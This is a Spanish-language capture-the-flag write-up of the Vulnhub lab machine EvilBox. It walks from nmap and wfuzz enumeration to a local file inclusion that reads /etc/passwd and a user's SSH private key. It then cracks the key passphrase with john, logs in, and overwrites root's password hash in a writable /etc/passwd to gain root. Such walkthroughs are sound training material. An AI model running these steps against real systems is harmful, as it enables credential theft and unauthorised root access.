Vulnhub - EvilBox
Máquina Linux de nivel Easy de Vulnhub.
Técnicas usadas: LFI, Misallocated Privileges
a. Enumeramos los puertos que están abiertos.
b. Vemos las versiones de los servicios que se están ejecutando en los puertos.
c. Ejecutamos el script http-enum de nmap para tratar de descubrir posibles rutas en el servicio web
1
2
3
4
5
nmap -p80 --script http-enum <IP EvilBox>
| http-enum:
| /robots.txt: Robots file
|_ /secret/: Potentially interesting folder
d. En el directorio /secret enumeramos ficheros .php
1
2
3
wfuzz -c -t 100 --hc=404 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt 'http://<IP Evilbox>/secret/FUZZ.php'
000011927: 200 0 L 0 W 0 Ch "evil"
El archivo evil.php se encuentra en el servicio web, pero, no tiene contenido que mostrar, por lo que enumeraremos por posibles parámetros
1 2 3
wfuzz -c -t 100 --hc=404 --hh=0 -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-small.txt 'http://<IP EvilBox>/secret/evil.php?FUZZ=/etc/passwd' 000012419: 200 26 L 38 W 1431 Ch "command"
e. Vemos que si al parámetro command le indicamos un archivo lo mostrará
mowree es un usuario en el sistema, así que trataremos de leer su clave id_rsa
1
http://<IP EvilBox>/secret/evil.php?command=/home/mowree/.ssh/id_rsa
Con esto obtendremos la clave id_rsa para autenticarnos por el servicio SSH
La clave id_rsa está encriptada, por lo que usaremos ssh2john para obtener el hash
1 2
john hash -w=/usr/share/wordlists/rockyou.txt unicorn
f. Nos conectaremos al servicio ssh con las credenciales descubiertas anteriormente
1
2
3
ssh mowree@192.168.100.18 -i id_rsa
Enter passphrase for key 'id_rsa': unicorn
mowree@EvilBoxOne:~$
Escalada de Privilegios 💹
a. Buscamos por archivos en los cuales tengamos permisos de escritura
1
2
3
4
mowree@EvilBoxOne:/$ find / -writable 2>/dev/null | grep -vE "^/usr|^/dev|^/proc|^/sys|^/run"
<SNIP>
/etc/passwd
<SNIP>
Como podemos modificar el archivo /etc/passwd, generamos con openssl una contraseña para sustituirla aquí.
1 2
openssl passwd hola $1$zc4xj9j9$e0D8gcnYdXAxHLr3RluXf1
1 2
mowree@EvilBoxOne:/$ head -n 1 /etc/passwd root:$1$zc4xj9j9$e0D8gcnYdXAxHLr3RluXf1:0:0:root:/root:/bin/bash
b. Nos convertimos en root con la contraseña hola
1
2
3
mowree@EvilBoxOne:/$ su root
Contraseña: hola
root@EvilBoxOne:/#